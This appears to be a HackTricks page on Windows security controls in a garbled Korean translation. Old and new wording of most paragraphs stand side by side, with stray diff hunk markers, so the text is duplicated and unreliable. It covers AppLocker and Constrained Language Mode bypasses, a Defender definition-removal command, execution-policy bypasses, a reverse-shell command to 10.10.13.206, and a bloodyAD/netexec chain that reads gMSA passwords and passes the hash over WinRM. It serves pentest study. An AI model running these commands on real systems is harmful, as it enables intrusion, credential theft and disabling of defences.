- [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) 또는 [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick)을 사용하여 **Powershell** 코드를 어떤 프로세스에서든 실행하고 AppLocker를 우회할 수 있습니다. 자세한 내용은 다음을 확인하세요: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
- 일반적으로 **신뢰** [**"LOLBAS's"**](https://lolbas-project.github.io/) 바이너리는 AppLocker 우회에 유용할 수 있다.
- **부실하게 작성된 규칙도 우회될 수 있다**
- 예를 들어, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, 어디에나 **`allowed`라는 폴더를** 생성하면 허용된다.
- 조직은 종종 `%System32%\WindowsPowerShell\v1.0\powershell.exe` 실행 파일 차단에 주력하지만, `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe``PowerShell_ISE.exe`와 같은 **다른** PowerShell 실행 파일 위치를 간과한다.
- DLL 강제 적용은 시스템에 추가 부하를 줄 수 있고, 아무것도 깨지지 않도록 보장하기 위한 테스트 양 때문에 거의 활성화되지 않는다. 따라서 **DLL을 백도어로 사용하면 AppLocker를 우회하는 데 도움이 된다**.
- [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) 또는 [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick)을 사용하여 임의 프로세스에서 Powershell 코드를 실행하고 AppLocker를 우회할 수 있다. 자세한 내용은 다음을 확인하라: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
## 자격 증명 저장소
### 보안 계정 관리자 (SAM)
로컬 자격 증명은 이 파일에 존재하며, 비밀번호는 해시 처리됩니다.
로컬 자격 증명은 이 파일에 존재하며, 비밀번호는 해시되어 있다.
### 로컬 보안 권한 (LSA) - LSASS
**자격 증명**(해시 처리됨)은 **단일 로그인** 이유로 이 하위 시스템의 **메모리**에 **저장**됩니다.\
**LSA**는 로컬 **보안 정책**(비밀번호 정책, 사용자 권한 등), **인증**, **액세스 토큰** 등을 관리합니다.\
LSA는 **SAM** 파일에서 제공된 자격 증명을 **확인**하고 도메인 사용자를 인증하기 위해 **도메인 컨트롤러**와 **통신**합니다.
해당 서브시스템의 **메모리**에 **자격 증명**(해시된 형태)이 **저장**되어 Single Sign-On을 위해 사용된다.\
**LSA**는 로컬 **보안 정책**(비밀번호 정책, 사용자 권한 등), **인증**, **액세스 토큰** 등을 관리다.\
LSA는 로컬 로그인 시 제공된 자격 증명을 **SAM** 파일에서 **확인**하고 도메인 사용자를 인증하기 위해 **도메인 컨트롤러**와 **통신**다.
**자격 증명**은 **프로세스 LSASS** 내에 **저장**됩니다: Kerberos 티켓, NT 및 LM 해시, 쉽게 복호화된 비밀번호.
자격 증명은 **LSASS** 프로세스 내부에 저장된다: Kerberos 티켓, NT 및 LM 해시, 쉽게 복호화 가능한 비밀번호.
### LSA 비밀
### LSA secrets
LSA는 디스크에 일부 자격 증명을 저장할 수 있습니다:
LSA는 디스크에 몇몇 자격 증명을 저장할 수 있다:
- Active Directory 컴퓨터 계정 비밀번호 (도달할 수 없는 도메인 컨트롤러).
- Active Directory 컴퓨터 계정 비밀번호(도달할 수 없는 도메인 컨트롤러).
- Windows 서비스 계정의 비밀번호
- 예약된 작업의 비밀번호
- 기타 (IIS 애플리케이션의 비밀번호...)
- 그 외 (IIS 애플리케이션의 비밀번호...)
### NTDS.dit
Active Directory의 데이터베이스입니다. 도메인 컨트롤러에만 존재합니다.
이는 Active Directory의 데이터베이스로, Domain Controller에만 존재한다.
## Defender
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender)는 Windows 10 및 Windows 11, 그리고 Windows Server 버전에서 사용할 수 있는 안티바이러스입니다. **일반적인 펜테스팅 도구**인 **`WinPEAS`**를 **차단**합니다. 그러나 이러한 보호를 **우회하는 방법**이 있습니다.
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender)는 Windows 10과 Windows 11, 그리고 Windows Server 버전에서 제공되는 안티바이러스다. 일반적인 pentesting 도구들(예: **`WinPEAS`**)을 차단한다. 하지만 이러한 보호를 우회하는 방법들이 있다.
### 확인
**Defender****상태**를 확인하려면 PS cmdlet **`Get-MpComputerStatus`**를 실행할 수 있습니다(활성화 여부를 알기 위해 **`RealTimeProtectionEnabled`** 값을 확인하세요):
Defender의 **상태**를 확인하려면 PS cmdlet **`Get-MpComputerStatus`**를 실행할 수 있다(활성화 여부는 **`RealTimeProtectionEnabled`** 값을 확인):
<pre class="language-powershell"><code class="lang-powershell">PS C:\> Get-MpComputerStatus
@ -92,7 +92,7 @@ NISEngineVersion : 0.0.0.0
PSComputerName :
</code></pre>
열거하려면 다음을 실행할 수도 있습니다:
열거하려면 다음을 실행할 수도 있다:
```bash
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
wmic /namespace:\\root\securitycenter2 path antivirusproduct
@ -101,105 +101,139 @@ sc query windefend
#Delete all rules of Defender (useful for machines without internet access)
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
```
## Encrypted File System (EFS)
## 암호화된 파일 시스템 (EFS)
EFS는 **대칭 키**인 **파일 암호화 키 (FEK)**를 사용하여 파일을 암호화하여 보호합니다. 이 키는 사용자의 **공개 키**로 암호화되어 암호화된 파일의 $EFS **대체 데이터 스트림**에 저장됩니다. 복호화가 필요할 때, 사용자의 디지털 인증서에 해당하는 **개인 키**를 사용하여 $EFS 스트림에서 FEK를 복호화합니다. 더 많은 세부정보는 [여기](https://en.wikipedia.org/wiki/Encrypting_File_System)에서 확인할 수 있습니다.
EFS는 **대칭 키**로 알려진 **File Encryption Key (FEK)**을 사용해 파일을 암호화하여 보호합니다. 이 키는 사용자의 **공개 키**로 암호화되어 암호화된 파일의 $EFS **대체 데이터 스트림**에 저장됩니다. 복호화가 필요할 때는 사용자의 디지털 인증서에 해당하는 **개인 키**로 $EFS 스트림에서 FEK를 복호화합니다. 자세한 내용은 [here](https://en.wikipedia.org/wiki/Encrypting_File_System)에서 확인하세요.
**사용자 개입 없이 복호화되는 시나리오**는 다음과 같습니다:
**사용자 개입 없이 발생하는 복호화 시나리오**에는 다음이 포함됩니다:
- 파일이나 폴더가 [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table)와 같은 비 EFS 파일 시스템으로 이동될 때 자동으로 복호화됩니다.
- 파일이나 폴더가 [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table)와 같은 EFS를 지원하지 않는 파일 시스템으로 이동되면 자동으로 복호화됩니다.
- SMB/CIFS 프로토콜을 통해 네트워크로 전송되는 암호화된 파일은 전송 전에 복호화됩니다.
이 암호화 방은 소유자에게 암호화된 파일에 대한 **투명한 접근**을 허용합니다. 그러나 소유자의 비밀번호를 단순히 변경하고 로그인하는 것만으로는 복호화가 허용되지 않습니다.
이 암호화 방은 소유자에게 암호화된 파일에 대한 **투명한 접근**을 허용합니다. 그러나 단순히 소유자의 비밀번호를 변경하고 로그인하는 것만으로는 복호화가 허용되지 않습니다.
**주요 요점**:
**핵심 요약**:
- EFS는 사용자 공개 키로 암호화된 대칭 FEK를 사용합니다.
- 복호화는 사용자의 개인 키를 사용하여 FEK에 접근합니다.
- FAT32로 복사하거나 네트워크 전송과 같은 특정 조건에서 자동 복호화가 발생합니다.
- 암호화된 파일은 추가 단계 없이 소유자가 접근할 수 있습니다.
- EFS는 사용자 공개 키로 암호화된 대칭 FEK를 사용합니다.
- 복호화는 FEK에 접근하기 위해 사용자의 개인 키를 사용합니다.
- FAT32로 복사하거나 네트워크 전송 시처럼 특정 조건에서 자동 복호화가 발생합니다.
- 암호화된 파일은 소유자가 추가 조치 없이 접근할 수 있습니다.
### EFS 정보 확인
**사용자**가 이 **서비스**를 **사용했는지** 확인하려면 이 경로가 존재하는지 확인하세요: `C:\users\<username>\appdata\roaming\Microsoft\Protect`
이 경로가 존재하는지 확인하여 **사용자**가 이 **서비스**를 사용했는지 확인하세요: `C:\users\<username>\appdata\roaming\Microsoft\Protect`
파일에 **접근**할 수 있는 **사람**을 확인하려면 `cipher /c \<file>\`를 사용하세요.
폴더 내에서 `cipher /e``cipher /d`를 사용하여 모든 파일을 **암호화** 및 **복호화**할 수도 있습니다.
cipher /c \<file\>를 사용해 파일에 **누가** 접근할 수 있는지 확인할 수 있습니다. 또한 폴더 내에서 `cipher /e``cipher /d`를 사용해 모든 파일을 **암호화** 및 **복호화**할 수 있습니다.
### EFS 파일 복호화
#### 권한 있는 시스템이 되기
#### SYSTEM 권한 획득
이 방법은 **피해자 사용자**가 호스트 내에서 **프로세스**를 **실행**하고 있어야 합니다. 그런 경우, `meterpreter` 세션을 사용하여 사용자의 프로세스 토큰을 가장할 수 있습니다 (`incognito``impersonate_token`). 또는 사용자의 프로세스로 `migrate`할 수도 있습니다.
이 방법은 **피해자 사용자**가 호스트 내에서 **프로세스**를 **실행 중**이어야 합니다. 그런 경우 `meterpreter` 세션을 사용하여 해당 프로세스의 토큰을 가장할 수 있습니다(`incognito``impersonate_token`). 또는 단순히 피해자 사용자의 프로세스로 `migrate`할 수도 있습니다.
#### 사용자의 비밀번호 알기
#### 사용자의 비밀번호를 알고 있는 경우
{{#ref}}
https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
{{#endref}}
## Group Managed Service Accounts (gMSA)
## 그룹 관리 서비스 계정 (gMSA)
Microsoft는 IT 인프라에서 서비스 계정 관리를 간소화하기 위해 **Group Managed Service Accounts (gMSA)**를 개발했습니다. 전통적인 서비스 계정은 종종 "**비밀번호 만료 안 함**" 설정이 활성화되어 있는 반면, gMSA는 보다 안전하고 관리하기 쉬운 솔루션을 제공합니다:
Microsoft는 IT 인프라에서 서비스 계정 관리를 간소화하기 위해 **Group Managed Service Accounts (gMSA)**를 개발했습니다. 종종 "**Password never expire**" 설정이 활성화된 기존 서비스 계정과 달리, gMSA는 더 안전하고 관리하기 쉬운 솔루션을 제공합니다:
- **자동 비밀번호 관리**: gMSA는 도메인 또는 컴퓨터 정책에 따라 자동으로 변경되는 복잡한 240자 비밀번호를 사용합니다. 이 과정은 Microsoft의 키 배포 서비스(KDC)가 처리하여 수동 비밀번호 업데이트의 필요성을 없앱니다.
- **강화된 보안**: 이러한 계정은 잠금에 면역이며 대화형 로그인을 위해 사용할 수 없어 보안이 강화됩니다.
- **다중 호스트 지원**: gMSA는 여러 호스트에서 공유할 수 있어 여러 서버에서 실행되는 서비스에 적합합니다.
- **예약 작업 기능**: 관리 서비스 계정과 달리 gMSA는 예약 작업 실행을 지원합니다.
- **간소화된 SPN 관리**: 시스템은 컴퓨터의 sAMaccount 세부정보 또는 DNS 이름에 변경이 있을 때 서비스 주체 이름(SPN)을 자동으로 업데이트하여 SPN 관리를 간소화합니다.
- **Automatic Password Management**: gMSA는 복잡한 240자 길이의 비밀번호를 사용하며 도메인 또는 컴퓨터 정책에 따라 자동으로 변경됩니다. 이 프로세스는 Microsoft's Key Distribution Service (KDC)가 처리하므로 수동으로 비밀번호를 갱신할 필요가 없습니다.
- **Enhanced Security**: 이 계정들은 잠금에 영향을 받지 않으며 대화형 로그인(interactive logins)에 사용할 수 없어 보안이 향상됩니다.
- **Multiple Host Support**: gMSA는 여러 호스트에 걸쳐 공유될 수 있어 여러 서버에서 실행되는 서비스에 적합합니다.
- **Scheduled Task Capability**: managed service accounts와 달리 gMSA는 예약 작업(scheduled tasks)을 실행할 수 있습니다.
- **Simplified SPN Management**: 컴퓨터의 sAMaccount 세부사항이나 DNS 이름이 변경되면 시스템이 Service Principal Name (SPN)을 자동으로 업데이트하여 SPN 관리를 단순화합니다.
gMSA의 비밀번호는 LDAP 속성 _**msDS-ManagedPassword**_에 저장되며 도메인 컨트롤러(DC)에 의해 30일마다 자동으로 재설정됩니다. 이 비밀번호는 [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e)로 알려진 암호화된 데이터 블롭으로, 권한이 있는 관리자와 gMSA가 설치된 서버만 검색할 수 있어 안전한 환경을 보장합니다. 이 정보에 접근하려면 LDAPS와 같은 보안 연결이 필요하거나 'Sealing & Secure'로 인증된 연결이어야 합니다.
gMSA의 비밀번호는 LDAP 속성 _**msDS-ManagedPassword**_에 저장되며 도메인 컨트롤러(DC)가 30일마다 자동으로 재설정합니다. 이 비밀번호는 [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e)로 알려진 암호화된 데이터 블롭이며, 권한 있는 관리자와 gMSA가 설치된 서버에서만 검색할 수 있어 안전한 환경을 보장합니다. 이 정보를 액세스하려면 LDAPS와 같은 보안 연결이 필요하거나 연결이 'Sealing & Secure'로 인증되어야 합니다.
![https://cube0x0.github.io/Relaying-for-gMSA/](../../images/asd1.png)
이 비밀번호는 [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader)**로 읽을 수 있습니다:**
이 비밀번호는 [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader)**:**
```
/GMSAPasswordReader --AccountName jkohler
```
[**이 게시물에서 더 많은 정보를 찾으세요**](https://cube0x0.github.io/Relaying-for-gMSA/)
[**Find more info in this post**](https://cube0x0.github.io/Relaying-for-gMSA/)
Also, check this [web page](https://cube0x0.github.io/Relaying-for-gMSA/) about how to perform a **NTLM relay attack** to **read** the **password** of **gMSA**.
### ACL 체이닝을 악용하여 read gMSA managed password (GenericAll -> ReadGMSAPassword)
많은 환경에서, 권한이 낮은 사용자는 잘못 구성된 객체 ACLs를 악용하여 DC를 침해하지 않고 gMSA 비밀로 pivot할 수 있습니다:
- 당신이 제어할 수 있는 그룹(예: GenericAll/GenericWrite를 통해)이 gMSA에 대해 `ReadGMSAPassword` 권한을 부여받습니다.
- 해당 그룹에 자신을 추가하면 LDAP를 통해 gMSA의 `msDS-ManagedPassword` blob을 읽을 권한을 상속받아 사용 가능한 NTLM credentials를 유도할 수 있습니다.
일반적인 작업 흐름:
1) BloodHound로 경로를 찾고 foothold principals를 Owned로 표시하세요. 다음과 같은 엣지를 찾으세요:
- GroupA GenericAll -> GroupB; GroupB ReadGMSAPassword -> gMSA
2) 제어하는 중간 그룹에 자신을 추가하세요 (bloodyAD 예시):
```bash
bloodyAD --host <DC.FQDN> -d <domain> -u <user> -p <pass> add groupMember <GroupWithReadGmsa> <user>
```
3) LDAP을 통해 gMSA 관리 비밀번호를 읽고 NTLM 해시를 유도합니다. NetExec은 `msDS-ManagedPassword` 추출과 NTLM으로의 변환을 자동화합니다:
```bash
# Shows PrincipalsAllowedToReadPassword and computes NTLM automatically
netexec ldap <DC.FQDN> -u <user> -p <pass> --gmsa
# Account: mgtsvc$ NTLM: edac7f05cded0b410232b7466ec47d6f
```
4) NTLM hash를 사용해 gMSA로 인증합니다 (no plaintext needed). 계정이 Remote Management Users에 속해 있다면, WinRM이 직접 작동합니다:
```bash
# SMB / WinRM as the gMSA using the NT hash
netexec smb <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
netexec winrm <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
```
참고:
- LDAP에서 `msDS-ManagedPassword`를 읽으려면 봉인(sealing)이 필요합니다(예: LDAPS/sign+seal). 도구들이 이를 자동으로 처리합니다.
- gMSAs는 종종 WinRM과 같은 로컬 권한이 부여됩니다; lateral movement를 계획하려면 그룹 멤버십(예: Remote Management Users)을 검증하세요.
- NTLM을 직접 계산하려고 blob만 필요하면, MSDS-MANAGEDPASSWORD_BLOB 구조를 참조하세요.
또한, **gMSA**의 **비밀번호**를 **읽기** 위한 **NTLM 릴레이 공격** 수행 방법에 대한 [웹 페이지](https://cube0x0.github.io/Relaying-for-gMSA/)를 확인하세요.
## LAPS
**로컬 관리자 비밀번호 솔루션 (LAPS)**는 [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899)에서 다운로드할 수 있으며, 로컬 관리자 비밀번호 관리를 가능하게 합니다. 이 비밀번호는 **무작위화**되고, 고유하며, **정기적으로 변경**되며, Active Directory에 중앙 집중식으로 저장됩니다. 이러한 비밀번호에 대한 접근은 ACL을 통해 권한이 있는 사용자로 제한됩니다. 충분한 권한이 부여되면 로컬 관리자 비밀번호를 읽을 수 있는 기능이 제공됩니다.
The **Local Administrator Password Solution (LAPS)**, available for download from [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), enables the management of local Administrator passwords. These passwords, which are **randomized**, unique, and **regularly changed**, are stored centrally in Active Directory. Access to these passwords is restricted through ACLs to authorized users. With sufficient permissions granted, the ability to read local admin passwords is provided.
{{#ref}}
../active-directory-methodology/laps.md
{{#endref}}
## PS 제약 언어 모드
## PS Constrained Language Mode
PowerShell [**제약 언어 모드**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/)는 COM 객체 차단, 승인된 .NET 유형만 허용, XAML 기반 워크플로, PowerShell 클래스 등 PowerShell을 효과적으로 사용하기 위해 필요한 많은 기능을 **잠급니다**.
PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/)는 PowerShell을 효과적으로 사용하기 위해 필요한 많은 기능을 **제한**합니다. 예를 들어 COM objects 차단, 승인된 .NET types만 허용, XAML-based workflows, PowerShell classes 등입니다.
### **확인**
```bash
$ExecutionContext.SessionState.LanguageMode
#Values could be: FullLanguage or ConstrainedLanguage
```
### 우회
### Bypass
```bash
#Easy bypass
Powershell -version 2
```
현재 Windows에서는 이 우회 방법이 작동하지 않지만 [**PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM)를 사용할 수 있습니다.\
**컴파일하려면** **다음이 필요할 수 있습니다** **_참조 추가_** -> _찾아보기_ -> _찾아보기_ -> `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll`을 추가하고 **프로젝트를 .Net4.5로 변경하십시오**.
현재 Windows에서는 해당 우회가 작동하지 않지만[ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
**컴파일하려면** **다음이 필요할 수 있습니다:** _**Add a Reference**_ -> _Browse_ -> _Browse_ -> `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` 를 추가하고 **프로젝트를 .Net4.5로 변경하세요**.
#### 직접 우회:
```bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe
```
#### 리버스 셸:
#### Reverse shell:
```bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
```
[**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) 또는 [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick)를 사용하여 **Powershell** 코드를 모든 프로세스에서 실행하고 제한된 모드를 우회할 수 있습니다. 자세한 내용은 다음을 확인하세요: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
You can use [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) or [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) to **execute Powershell** code in any process and bypass the constrained mode. For more info check: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
## PS 실행 정책
기본적으로 **제한됨**으로 설정되어 있습니다. 이 정책을 우회하는 주요 방법:
기본적으로 **restricted**로 설정되어 있습니다. 이 정책을 우회하는 주요 방법:
```bash
1º Just copy and paste inside the interactive PS console
2º Read en Exec
@ -219,36 +253,42 @@ Powershell -command "Write-Host 'My voice is my passport, verify me.'"
9º Use EncodeCommand
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
```
더 많은 내용은 [여기](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/)에서 확인할 수 있습니다.
More can be found [here](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/)
## 보안 지원 공급자 인터페이스 (SSPI)
## Security Support Provider Interface (SSPI)
사용자를 인증하는 데 사용할 수 있는 API입니다.
사용자 인증에 사용할 수 있는 API입니다.
SSPI는 통신하려는 두 머신에 적합한 프로토콜을 찾는 역할을 합니다. 이를 위한 선호 방법은 Kerberos입니다. 그런 다음 SSPI는 사용할 인증 프로토콜을 협상하며, 이러한 인증 프로토콜은 보안 지원 공급자(SSP)라고 하며, 각 Windows 머신 내에서 DLL 형태로 존재하고 두 머신 모두 동일한 프로토콜을 지원해야 통신할 수 있습니다.
The SSPI will be in charge of finding the adequate protocol for two machines that want to communicate. The preferred method for this is Kerberos. Then the SSPI will negotiate which authentication protocol will be used, these authentication protocols are called Security Support Provider (SSP), are located inside each Windows machine in the form of a DLL and both machines must support the same to be able to communicate.
### 주요 SSP
### Main SSPs
- **Kerberos**: 선호되는 프로토콜
- **Kerberos**: 선호되는 방식
- %windir%\Windows\System32\kerberos.dll
- **NTLMv1** **NTLMv2**: 호환성 이유
- **NTLMv1** and **NTLMv2**: 호환성 때문에
- %windir%\Windows\System32\msv1_0.dll
- **Digest**: 웹 서버 및 LDAP, MD5 해시 형태의 비밀번호
- **Digest**: 웹 서버와 LDAP에 사용, 비밀번호가 MD5 해시 형태
- %windir%\Windows\System32\Wdigest.dll
- **Schannel**: SSL 및 TLS
- %windir%\Windows\System32\Schannel.dll
- **Negotiate**: 사용할 프로토콜을 협상하는 데 사용됩니다 (Kerberos 또는 NTLM, 기본값은 Kerberos)
- **Negotiate**: 사용할 프로토콜을 협상하는 데 사용됨 (Kerberos 또는 NTLM; 기본값은 Kerberos)
- %windir%\Windows\System32\lsasrv.dll
#### 협상은 여러 방법을 제공할 수 있거나 하나만 제공할 수 있습니다.
#### The negotiation could offer several methods or only one.
## UAC - 사용자 계정 컨트롤
## UAC - User Account Control
[사용자 계정 컨트롤 (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works)는 **승격된 활동에 대한 동의 프롬프트**를 활성화하는 기능입니다.
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works)는 권한 상승 작업에 대해 **동의 프롬프트**를 표시하는 기능입니다.
{{#ref}}
uac-user-account-control.md
{{#endref}}
## References
- [Relaying for gMSA cube0x0](https://cube0x0.github.io/Relaying-for-gMSA/)
- [GMSAPasswordReader](https://github.com/rvazarkar/GMSAPasswordReader)
- [HTB Sendai 0xdf: gMSA via rights chaining to WinRM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)
{{#include ../../banners/hacktricks-training.md}}